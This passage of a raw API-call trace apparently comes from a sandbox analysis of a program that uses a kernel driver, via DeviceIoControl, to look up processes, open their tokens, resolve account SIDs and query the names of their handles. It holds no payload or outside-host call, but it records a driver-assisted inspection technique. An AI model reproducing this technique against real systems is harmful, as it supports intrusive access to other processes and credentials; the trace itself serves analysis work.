lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.559] PsLookupProcessByProcessId (in: ProcessId=0xecc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.559] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.559] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xed4) returned 0x0 [0114.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.559] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.559] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.559] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.559] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.559] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.559] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.559] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.559] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.559] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.559] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.559] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.559] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.560] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.560] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.560] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.560] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.560] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.560] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.560] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.560] PsLookupProcessByProcessId (in: ProcessId=0xed4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.560] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.560] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.560] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xedc) returned 0xc0 [0114.560] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.560] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80039e2b30, HandleInformation=0x0) returned 0x0 [0114.560] ObOpenObjectByPointer (in: Object=0xfffffa80039e2b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.560] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x10 [0114.560] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.560] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.560] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.560] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.560] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.562] CloseHandle (hObject=0xc8) returned 1 [0114.562] CloseHandle (hObject=0xc0) returned 1 [0114.562] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.562] PsLookupProcessByProcessId (in: ProcessId=0xedc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.562] PsAcquireProcessExitSynchronization () returned 0x0 [0114.562] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880055905d0) [0114.562] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800383c070, HandleInformation=0x0) returned 0x0 [0114.562] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.562] PsReleaseProcessExitSynchronization () returned 0x2 [0114.562] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0xe [0114.562] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.562] ObfDereferenceObject (Object=0xfffffa800383c070) returned 0x1 [0114.562] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.562] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.562] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.562] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.562] PsLookupProcessByProcessId (in: ProcessId=0xedc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.562] PsAcquireProcessExitSynchronization () returned 0x0 [0114.562] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880055905d0) [0114.562] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024d7c70, HandleInformation=0x0) returned 0x0 [0114.563] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.563] PsReleaseProcessExitSynchronization () returned 0x2 [0114.563] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0xe [0114.563] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.563] ObfDereferenceObject (Object=0xfffffa80024d7c70) returned 0x1 [0114.563] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.563] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.563] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0114.563] PsLookupProcessByProcessId (in: ProcessId=0xedc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.563] PsAcquireProcessExitSynchronization () returned 0x0 [0114.563] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880055905d0) [0114.563] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80036ec4f0, HandleInformation=0x0) returned 0x0 [0114.563] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.563] PsReleaseProcessExitSynchronization () returned 0x2 [0114.563] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0xe [0114.563] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.563] ObfDereferenceObject (Object=0xfffffa80036ec4f0) returned 0x3 [0114.563] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.563] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.563] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xef4) returned 0xc0 [0114.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.563] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800397fb30, HandleInformation=0x0) returned 0x0 [0114.563] ObOpenObjectByPointer (in: Object=0xfffffa800397fb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.563] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1c [0114.563] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.563] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.563] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.564] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.564] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.565] CloseHandle (hObject=0xc8) returned 1 [0114.565] CloseHandle (hObject=0xc0) returned 1 [0114.565] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.565] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.565] PsLookupProcessByProcessId (in: ProcessId=0xef4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.565] PsAcquireProcessExitSynchronization () returned 0x0 [0114.565] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0) [0114.565] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80039163a0, HandleInformation=0x0) returned 0x0 [0114.565] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.565] PsReleaseProcessExitSynchronization () returned 0x2 [0114.565] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0114.565] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.565] ObfDereferenceObject (Object=0xfffffa80039163a0) returned 0x1 [0114.565] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.566] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.566] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.566] PsLookupProcessByProcessId (in: ProcessId=0xef4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.566] PsAcquireProcessExitSynchronization () returned 0x0 [0114.566] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0) [0114.566] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038c7290, HandleInformation=0x0) returned 0x0 [0114.566] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.566] PsReleaseProcessExitSynchronization () returned 0x2 [0114.566] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0114.566] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.566] ObfDereferenceObject (Object=0xfffffa80038c7290) returned 0x1 [0114.566] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.566] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.566] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0114.566] PsLookupProcessByProcessId (in: ProcessId=0xef4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.566] PsAcquireProcessExitSynchronization () returned 0x0 [0114.566] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0) [0114.566] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800252e220, HandleInformation=0x0) returned 0x0 [0114.566] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.566] PsReleaseProcessExitSynchronization () returned 0x2 [0114.566] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0114.566] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.566] ObfDereferenceObject (Object=0xfffffa800252e220) returned 0x1 [0114.566] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.566] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.566] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.566] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0114.566] PsLookupProcessByProcessId (in: ProcessId=0xef4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.566] PsAcquireProcessExitSynchronization () returned 0x0 [0114.566] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880055905d0) [0114.567] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80036ec4f0, HandleInformation=0x0) returned 0x0 [0114.567] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.567] PsReleaseProcessExitSynchronization () returned 0x2 [0114.567] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0114.567] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.567] ObfDereferenceObject (Object=0xfffffa80036ec4f0) returned 0x3 [0114.567] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.567] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.567] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xefc) returned 0x0 [0114.567] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.567] PsLookupProcessByProcessId (in: ProcessId=0xefc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.567] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.567] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.567] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.567] PsLookupProcessByProcessId (in: ProcessId=0xefc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.567] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.567] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.567] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.567] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x2b0bf0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0114.567] PsLookupProcessByProcessId (in: ProcessId=0xefc, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0xc000000b [0114.567] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.567] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.568] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xf04) returned 0xc0 [0114.568] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.568] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80038d3790, HandleInformation=0x0) returned 0x0 [0114.568] ObOpenObjectByPointer (in: Object=0xfffffa80038d3790, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.568] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x25 [0114.568] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.568] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.568] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.568] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.568] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS 